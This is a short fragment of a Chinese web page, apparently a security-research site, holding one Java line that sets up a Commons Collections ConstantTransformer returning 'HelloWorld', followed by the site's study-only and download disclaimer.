ConstantTransformer helloWorld = new ConstantTransformer("HelloWorld"); // 不管调用 transform 方法传递了什么参数, 都会返回 He
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)